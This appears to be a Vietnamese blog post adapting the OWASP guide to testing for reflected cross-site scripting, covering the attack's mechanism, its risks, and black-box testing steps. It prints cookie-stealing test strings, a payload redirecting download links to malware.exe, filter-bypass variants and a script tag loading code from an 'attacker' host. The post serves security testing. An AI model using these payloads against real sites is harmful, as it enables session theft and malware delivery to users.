Testing sercurity

Kiểm tra lỗ hổng bảo mật Reflected Cross-site Scripting (XSS)

Posted on by Dục Đoàn Trình
Rate this post

Reflected Cross-site Scripting (XSS) xảy ra khi kẻ tấn công đưa mã thực thi của trình duyệt vào trong một phản hồi HTTP duy nhất. Cuộc tấn công được đưa vào không được lưu trữ trong chính ứng dụng; nó không liên tục và chỉ tác động đến những người dùng mở liên kết độc hại hoặc trang web của bên thứ ba. Chuỗi tấn công được bao gồm như một phần của các tham số URI hoặc HTTP được tạo thủ công, được ứng dụng xử lý không đúng cách và được trả lại cho nạn nhân.

Các bài viết liên quan:

Giới thiệu về Reflected XSS

Reflected Cross-site Scripting (XSS) là một lỗ hổng bảo mật phổ biến trong các ứng dụng web. Đây là một dạng tấn công mà kẻ tấn công chèn mã JavaScript độc hại vào các trang web và khi người dùng truy cập vào các trang đó, mã JavaScript sẽ được thực thi trên trình duyệt của người dùng. Điểm khác biệt giữa Reflected XSS và Stored XSS (hoặc Persistent XSS) là trong Reflected XSS, mã độc hại chỉ được chèn vào một yêu cầu và được phản hồi lại (reflected) cho người dùng.

Cơ chế hoạt động của Reflected XSS là kẻ tấn công tạo ra một URL đặc biệt hoặc một form nhập liệu có chứa đoạn mã JavaScript độc hại. Khi người dùng truy cập vào URL hoặc gửi form này, dữ liệu đầu vào của người dùng được nhúng vào trang web và mã JavaScript độc hại được kích hoạt. Điều này có thể dẫn đến việc thực hiện các hành động độc hại như đánh cắp thông tin cá nhân, đăng nhập giả mạo, chuyển hướng người dùng đến các trang web độc hại hoặc thực hiện các hành vi không mong muốn khác.

Reflected XSS có thể xảy ra khi ứng dụng web không kiểm tra và xử lý đầu vào đúng cách. Điều này cho phép kẻ tấn công chèn mã độc hại vào trang web và khi người dùng truy cập vào, mã độc hại sẽ được thực thi trên trình duyệt của họ.

Để phòng chống Reflected XSS, các phương pháp bao gồm kiểm tra và xử lý đầu vào đúng cách, sử dụng bộ lọc đầu ra (output filtering) để loại bỏ các ký tự đặc biệt và mã độc hại, sử dụng HTTP header Content Security Policy (CSP) để giới hạn việc thực thi mã JavaScript không an toàn, và sử dụng mã hóa và mã hoá ký tự để ngăn chặn việc chèn mã độc hại vào trang web.

Tuy Reflected XSS không phải là một lỗ hổng mới, nhưng vẫn còn tồn tại và là một mối đe dọa lớn đối với bảo mật ứng dụng web. Do đó, việc hiểu và áp dụng các biện pháp phòng chống là cực kỳ quan trọng để bảo vệ ứng dụng web và thông tin của người dùng.

XSS được Reflected là loại tấn công XSS thường xuyên nhất được tìm thấy trong tự nhiên. Các cuộc tấn công XSS được phản ánh còn được gọi là các cuộc tấn công XSS không liên tục và vì khối lượng tấn công được phân phối và thực hiện thông qua một yêu cầu và phản hồi duy nhất, chúng còn được gọi là XSS bậc nhất hoặc loại 1.

Khi một ứng dụng web dễ bị tấn công kiểu này, nó sẽ chuyển thông tin đầu vào chưa được kiểm chứng được gửi thông qua các yêu cầu trở lại máy khách. Mô thức chung của cuộc tấn công bao gồm một bước thiết kế, trong đó kẻ tấn công tạo và kiểm tra một URI vi phạm, một bước kỹ thuật xã hội, trong đó cô thuyết phục nạn nhân của mình tải URI này trên trình duyệt của họ và cuối cùng là thực thi mã vi phạm sử dụng trình duyệt của nạn nhân.

Thông thường, mã của kẻ tấn công được viết bằng ngôn ngữ JavaScript, nhưng các ngôn ngữ kịch bản khác cũng được sử dụng, ví dụ: ActionScript và VBScript. Những kẻ tấn công thường tận dụng các lỗ hổng này để cài đặt trình ghi khóa, đánh cắp cookie của nạn nhân, thực hiện hành vi trộm cắp khay nhớ tạm và thay đổi nội dung của trang (ví dụ: liên kết tải xuống).

Một trong những khó khăn chính trong việc ngăn chặn lỗ hổng XSS là mã hóa ký tự thích hợp. Trong một số trường hợp, máy chủ web hoặc ứng dụng web không thể lọc một số mã hóa của các ký tự, vì vậy, ví dụ: ứng dụng web có thể lọc ra <script>, nhưng có thể không lọc% 3cscript% 3e mà chỉ bao gồm một mã hóa thẻ khác .

Xem thêm Truy vấn Plan Cache Commands trong MongoDB

Các dạng tấn công Reflected XSS phổ biến

Có một số dạng tấn công Reflected XSS phổ biến mà kẻ tấn công thường sử dụng để khai thác lỗ hổng này. Dưới đây là một số dạng tấn công phổ biến:

  1. Tấn công thông qua các tham số URL: Kẻ tấn công chèn mã độc hại vào các tham số trong URL của trang web. Khi người dùng truy cập vào URL này, mã độc hại được nhúng vào trang và thực thi trên trình duyệt của họ.

Ví dụ: http://example.com/page?name=<script>alert('XSS')</script>

  1. Tấn công thông qua các form nhập liệu: Kẻ tấn công tạo ra một form nhập liệu có chứa đoạn mã JavaScript độc hại. Khi người dùng gửi form này, dữ liệu đầu vào của họ được nhúng vào trang web và mã độc hại được kích hoạt.
  2. Tấn công thông qua email hoặc tin nhắn: Kẻ tấn công có thể tạo các email hoặc tin nhắn chứa các liên kết độc hại chứa mã JavaScript. Khi người dùng nhấp vào liên kết này, mã độc hại được thực thi trên trình duyệt của họ.
  3. Tấn công thông qua các trường HTTP headers: Kẻ tấn công có thể chèn mã độc hại vào các trường HTTP headers như Referer hoặc User-Agent. Khi trình duyệt gửi yêu cầu đến trang web, mã độc hại được nhúng vào trang và thực thi.
  4. Tấn công thông qua các kịch bản chèn quảng cáo: Kẻ tấn công có thể tận dụng các hệ thống quảng cáo trên trang web để chèn mã độc hại vào các kịch bản quảng cáo. Khi trình duyệt hiển thị quảng cáo này, mã độc hại sẽ được thực thi.

Đây chỉ là một số dạng tấn công Reflected XSS phổ biến, và có thể tồn tại nhiều phương thức khác mà kẻ tấn công có thể sử dụng. Để bảo vệ ứng dụng web của bạn, hãy áp dụng các biện pháp phòng chống Reflected XSS, kiểm tra và xử lý đầu vào đúng cách và lọc đầu ra để loại bỏ mã độc hại và ký tự đặc biệt.

Rủi ro và hậu quả của Reflected XSS

Rủi ro và hậu quả của Reflected XSS có thể làm ảnh hưởng đến người dùng và ứng dụng web như sau:

  1. Đánh cắp thông tin cá nhân: Kẻ tấn công có thể sử dụng Reflected XSS để đánh cắp thông tin nhạy cảm của người dùng như tên đăng nhập, mật khẩu, thông tin thẻ tín dụng, địa chỉ email, và các thông tin cá nhân khác. Thông tin này sau đó có thể được sử dụng cho mục đích gian lận hoặc tấn công tiếp theo.
  2. Đăng nhập giả mạo (Phishing): Kẻ tấn công có thể tạo các trang web giả mạo (phishing) thông qua Reflected XSS để lừa người dùng tiến hành đăng nhập và tiết lộ thông tin đăng nhập của họ. Điều này có thể dẫn đến việc chiếm đoạt tài khoản người dùng và truy cập trái phép vào hệ thống.
  3. Tiêm mã độc (Malware Injection): Reflected XSS có thể được sử dụng để tiêm các đoạn mã độc hại vào trang web, và khi người dùng truy cập vào trang đó, máy tính của họ có thể bị nhiễm malware hoặc phần mềm độc hại khác. Điều này có thể dẫn đến việc kiểm soát máy tính, mất dữ liệu, hoặc lợi dụng máy tính thành một phần của mạng botnet.
  4. Tấn công chuyển hướng (Redirection Attacks): Kẻ tấn công có thể sử dụng Reflected XSS để chuyển hướng người dùng đến các trang web độc hại hoặc giả mạo. Điều này có thể gây nhầm lẫn, mất cân nhắc, hoặc khiến người dùng thực hiện các hành động không mong muốn.
  5. Ảnh hưởng đến uy tín và danh tiếng: Nếu một ứng dụng web bị tấn công Reflected XSS và thông tin độc hại được hiển thị trên trang web, điều này có thể làm giảm uy tín và danh tiếng của ứng dụng. Người dùng có thể mất niềm tin và tránh sử dụng ứng dụng này, ảnh hưởng đến hoạt động kinh doanh và tương tác với người dùng.

Vì vậy, rủi ro và hậu quả của Reflected XSS là rất nghiêm trọng. Để bảo vệ người dùng và ứng dụng web khỏi các tác động tiêu cực này, việc triển khai các biện pháp bảo mật và phòng chống Reflected XSS là cực kỳ quan trọng.

Mục tiêu kiểm tra

  • Xác định các biến được phản ánh trong các câu trả lời.
  • Đánh giá đầu vào mà họ chấp nhận và mã hóa được áp dụng trở lại (nếu có).

Làm thế nào để kiểm tra Reflected Cross-site Scripting (XSS)

Black box testing

Black box testing sẽ bao gồm ít nhất ba giai đoạn:

Detect Input Vectors

Phát hiện các vectơ đầu vào. Đối với mỗi trang web, người kiểm tra phải xác định tất cả các biến do người dùng xác định của ứng dụng web và cách nhập chúng. Điều này bao gồm các đầu vào ẩn hoặc không rõ ràng, chẳng hạn như tham số HTTP, dữ liệu POST, giá trị trường biểu mẫu ẩn và các giá trị chọn hoặc radio được xác định trước. Thông thường, các trình chỉnh sửa HTML trong trình duyệt hoặc proxy web được sử dụng để xem các biến ẩn này. Xem ví dụ bên dưới.

Xem thêm Tìm hiểu tấn công Reflected DOM Injection

Analyze Input Vectors

Phân tích từng vector đầu vào để phát hiện các lỗ hổng tiềm ẩn. Để phát hiện lỗ hổng XSS, người kiểm tra thường sẽ sử dụng dữ liệu đầu vào được tạo thủ công đặc biệt với mỗi vectơ đầu vào. Dữ liệu đầu vào như vậy thường vô hại, nhưng kích hoạt phản hồi từ trình duyệt web có biểu hiện lỗ hổng bảo mật. Dữ liệu kiểm tra có thể được tạo ra bằng cách sử dụng trình làm mờ ứng dụng web, danh sách tự động xác định trước các chuỗi tấn công đã biết hoặc theo cách thủ công. Một số ví dụ về dữ liệu đầu vào như sau:

<script>alert(123)</script>
"><script>alert(document.cookie)</script>

Để có danh sách đầy đủ các chuỗi kiểm tra tiềm năng, hãy xem Trang tính gian lận trốn tránh bộ lọc XSS.

Check Impact

Đối với mỗi đầu vào thử nghiệm được thử trong giai đoạn trước, người thử nghiệm sẽ phân tích kết quả và xác định xem kết quả đó có đại diện cho một lỗ hổng bảo mật có tác động thực tế đến bảo mật của ứng dụng web hay không. Điều này yêu cầu kiểm tra HTML của trang web kết quả và tìm kiếm đầu vào thử nghiệm. Sau khi tìm thấy, người kiểm tra xác định bất kỳ ký tự đặc biệt nào không được mã hóa, thay thế hoặc lọc ra đúng cách. Tập hợp các ký tự đặc biệt chưa được lọc dễ bị tấn công sẽ phụ thuộc vào ngữ cảnh của phần HTML đó.

Lý tưởng nhất là tất cả các ký tự đặc biệt HTML sẽ được thay thế bằng các thực thể HTML. Các thực thể HTML chính cần xác định là:

  • > (lớn hơn)
  • < (nhỏ hơn)
  • & (dấu và)
  • ‘(dấu nháy đơn hoặc dấu nháy đơn)
  • “(dấu ngoặc kép)

Tuy nhiên, danh sách đầy đủ các thực thể được xác định bởi các đặc tả HTML và XML. Wikipedia có một tài liệu tham khảo đầy đủ.

Trong ngữ cảnh của một hành động HTML hoặc mã JavaScript, một tập hợp các ký tự đặc biệt khác sẽ cần được thoát, mã hóa, thay thế hoặc lọc ra. Các ký tự này bao gồm:

  • \ n (dòng mới)
  • \ r (ký tự xuống dòng)
  • ‘(dấu nháy đơn hoặc dấu nháy đơn)
  • “(dấu ngoặc kép)
  • \ (dấu gạch chéo ngược)
  • \ uXXXX (giá trị unicode)

Để có tài liệu tham khảo đầy đủ hơn, hãy xem hướng dẫn về JavaScript của Mozilla.

Xem thêm Kiểm tra bảo mật – Cross-Site Scripting

ví dụ 1

Ví dụ: hãy xem xét một trang web có thông báo chào mừng Chào mừng% tên người dùng% và một liên kết tải xuống.

Người kiểm tra phải nghi ngờ rằng mọi điểm nhập dữ liệu có thể dẫn đến một cuộc tấn công XSS. Để phân tích nó, người kiểm tra sẽ chơi với biến người dùng và cố gắng kích hoạt lỗ hổng.

Hãy thử nhấp vào liên kết sau và xem điều gì sẽ xảy ra:

http://example.com/index.php?user= <script> alert (123) </script>

Nếu không áp dụng quy trình vệ sinh, điều này sẽ dẫn đến cửa sổ bật lên sau:

Điều này chỉ ra rằng có một lỗ hổng XSS và nó xuất hiện

mũ, người thử nghiệm có thể thực thi mã họ chọn trong trình duyệt của bất kỳ ai nếu anh ta nhấp vào liên kết của người thử nghiệm.

Xem thêm Kiểm tra lỗ hổng bảo mật DOM-Based Cross Site Scripting

Ví dụ 2

Hãy thử đoạn mã khác (liên kết):

http://example.com/index.php?user=<script>window.onload = function () {var AllLinks = document.getElementsByTagName ("a"); AllLinks [0] .href = "http: // badexample .com / malware.exe ";} </script>

Điều này tạo ra hành vi sau:

XSS Ví dụ 2

Điều này sẽ khiến người dùng, nhấp vào liên kết do người thử nghiệm cung cấp, tải xuống tệp malware.exe từ một trang web mà họ kiểm soát.

Xem thêm Công cụ quét lỗ hổng XSS tự động hóa PwnXSS trong Kali Linux

Bỏ qua bộ lọc XSS

Các cuộc tấn công kịch bản trên nhiều trang web được phản ánh bị ngăn chặn khi ứng dụng web khử trùng đầu vào, tường lửa ứng dụng web chặn đầu vào độc hại hoặc bằng các cơ chế được nhúng trong trình duyệt web hiện đại. Người kiểm tra phải kiểm tra các lỗ hổng giả định rằng các trình duyệt web sẽ không ngăn chặn được cuộc tấn công. Các trình duyệt có thể đã lỗi thời hoặc đã bị vô hiệu hóa các tính năng bảo mật tích hợp. Tương tự, tường lửa của ứng dụng web không được đảm bảo để nhận ra các cuộc tấn công mới, chưa biết. Kẻ tấn công có thể tạo ra một chuỗi tấn công mà tường lửa của ứng dụng web không nhận dạng được.

Do đó, phần lớn việc ngăn chặn XSS phải phụ thuộc vào quá trình khử trùng đầu vào không đáng tin cậy của ứng dụng web. Có một số cơ chế có sẵn cho các nhà phát triển để làm sạch, chẳng hạn như trả lại lỗi, xóa, mã hóa hoặc thay thế đầu vào không hợp lệ. Phương tiện mà ứng dụng phát hiện và sửa lỗi đầu vào không hợp lệ là một điểm yếu chính khác trong việc ngăn chặn XSS. Danh sách từ chối có thể không bao gồm tất cả các chuỗi tấn công có thể xảy ra, danh sách cho phép có thể được cho phép quá mức, quá trình làm sạch có thể không thành công hoặc một loại đầu vào có thể được tin cậy không chính xác và vẫn chưa được vệ sinh. Tất cả những điều này cho phép kẻ tấn công phá vỡ bộ lọc XSS.

Trang tính Cheat Cheat Evasion của Bộ lọc XSS ghi lại các bài kiểm tra trốn tránh bộ lọc phổ biến.

Xem thêm Kiểm tra và&nbsp; Khai thác lỗ hổng Stored Cross-site Scripting (XSS)

Ví dụ 3: Tag Attribute Value

Vì các bộ lọc này dựa trên danh sách từ chối, chúng không thể chặn mọi loại biểu thức. Trên thực tế, có những trường hợp khai thác XSS có thể được thực hiện mà không cần sử dụng thẻ <script> và thậm chí không sử dụng các ký tự như <và> thường được lọc.

Ví dụ: ứng dụng web có thể sử dụng giá trị đầu vào của người dùng để điền vào một thuộc tính, như được hiển thị trong mã sau:

<input type = "text" name = "state" value = "INPUT_FROM_USER">

Sau đó, kẻ tấn công có thể gửi mã sau:

“onfocus =” alert (document.cookie)

Ví dụ 4: Different Syntax hoặc Encoding

Trong một số trường hợp, các bộ lọc dựa trên chữ ký có thể bị đánh bại một cách đơn giản bằng cách làm xáo trộn cuộc tấn công. Thông thường, bạn có thể làm điều này thông qua việc chèn các biến thể không mong muốn trong cú pháp hoặc trong enconding. Các biến thể này được trình duyệt chấp nhận là HTML hợp lệ khi mã được trả về, tuy nhiên chúng cũng có thể được bộ lọc chấp nhận.

Sau một số ví dụ:

"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e

Ví dụ 5: Bypassing Non-Recursive Filtering

Đôi khi việc khử trùng chỉ được áp dụng một lần và nó không được thực hiện một cách đệ quy. Trong trường hợp này, kẻ tấn công có thể đánh bại bộ lọc bằng cách gửi một chuỗi chứa nhiều lần thử, như thế này:

<scr <script> ipt> alert (document.cookie) </script>

Ví dụ 6: Including External Script

Bây giờ, giả sử rằng các nhà phát triển của trang đích đã triển khai mã sau để bảo vệ đầu vào khỏi việc bao gồm tập lệnh bên ngoài:

<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>

Tách biểu thức chính quy ở trên:

  • Kiểm tra một <script
  • Kiểm tra dấu ““ (khoảng trắng)
  • Bất kỳ ký tự nào trừ ký tự> cho một hoặc nhiều lần xuất hiện
  • Kiểm tra một src

Điều này rất hữu ích để lọc các biểu thức như <script src = “http: //attacker/xss.js”> </script>, đây là một cuộc tấn công phổ biến. Tuy nhiên, trong trường hợp này, có thể bỏ qua việc khử trùng bằng cách sử dụng ký tự> trong một thuộc tính giữa script và src, như sau:

http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>

Điều này sẽ khai thác lỗ hổng tập lệnh trang web chéo được phản ánh được hiển thị trước đó, thực thi mã JavaScript được lưu trữ trên máy chủ web của kẻ tấn công như thể nó được bắt nguồn từ trang web của nạn nhân, http: // example /.

Xem thêm Filters hình ảnh OpenCV

Ví dụ 7: HTTP Parameter Pollution (HPP)

Một phương pháp khác để vượt qua các bộ lọc là Ô nhiễm tham số HTTP, kỹ thuật này được Stefano di Paola và Luca Carettoni trình bày lần đầu tiên vào năm 2009 tại hội nghị OWASP Ba Lan. Xem Kiểm tra ô nhiễm Thông số HTTP để biết thêm thông tin. Kỹ thuật né tránh này bao gồm việc tách một vectơ tấn công giữa nhiều tham số có cùng tên. Thao tác điều chỉnh giá trị của mỗi tham số phụ thuộc vào cách mỗi công nghệ web phân tích cú pháp các tham số này, do đó, kiểu trốn tránh này không phải lúc nào cũng có thể thực hiện được. Nếu môi trường được thử nghiệm nối các giá trị của tất cả các tham số với cùng một tên, thì kẻ tấn công có thể sử dụng

kỹ thuật s để vượt qua các cơ chế bảo mật dựa trên mẫu. Tấn công thường xuyên:

http://example/page.php?param=<script>[...]</script>

Tấn công bằng HPP:

http://example/page.php?param=<script&param=>[...]</&param=script>

Xem Trang tính Cheat Cheat Evasion của Bộ lọc XSS để có danh sách chi tiết hơn về các kỹ thuật trốn tránh bộ lọc. Cuối cùng, việc phân tích các câu trả lời có thể trở nên phức tạp. Một cách đơn giản để làm điều này là sử dụng mã bật lên một hộp thoại, như trong ví dụ của chúng tôi. Điều này thường chỉ ra rằng kẻ tấn công có thể thực thi JavaScript tùy ý mà hắn chọn trong trình duyệt của khách truy cập.

Gray-Box Testing

Thử nghiệm hộp xám tương tự như thử nghiệm hộp đen. Trong kiểm tra hộp xám, người kiểm tra bút có một phần kiến ​​thức về ứng dụng. Trong trường hợp này, thông tin về đầu vào của người dùng, các điều khiển xác thực đầu vào và cách người dùng nhập lại cho người dùng có thể được biết bởi pen-tester.

Nếu mã nguồn có sẵn (thử nghiệm hộp trắng), tất cả các biến nhận được từ người dùng phải được phân tích. Hơn nữa, người thử nghiệm nên phân tích bất kỳ quy trình vệ sinh nào được thực hiện để quyết định xem có thể phá vỡ những quy trình này hay không.

Công cụ

  • PHP Charset Encoder(PCE)  giúp bạn mã hóa các văn bản tùy ý đến và từ 65 loại bộ ký tự mà bạn có thể sử dụng trong các tải trọng tùy chỉnh của mình.
  • Hackvertor là một công cụ trực tuyến cho phép nhiều kiểu mã hóa và xáo trộn JavaScript (hoặc bất kỳ đầu vào chuỗi nào).
  • XSS-Proxy là một công cụ tấn công Cross-Site-Scripting (XSS) nâng cao.
  • ratproxy là một công cụ kiểm tra bảo mật ứng dụng web thụ động, bán tự động, được tối ưu hóa để phát hiện chính xác và nhạy cảm cũng như chú thích tự động về các vấn đề tiềm ẩn và các mẫu thiết kế liên quan đến bảo mật dựa trên việc quan sát lưu lượng truy cập hiện có, do người dùng khởi tạo trong web phức tạp 2.0 môi trường.
  • Burp Proxy là một máy chủ proxy HTTP / S tương tác để tấn công và thử nghiệm các ứng dụng web.
  • OWASP Zed Attack Proxy (ZAP) là một máy chủ proxy HTTP / S tương tác để tấn công và kiểm tra các ứng dụng web với một máy quét tích hợp.

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now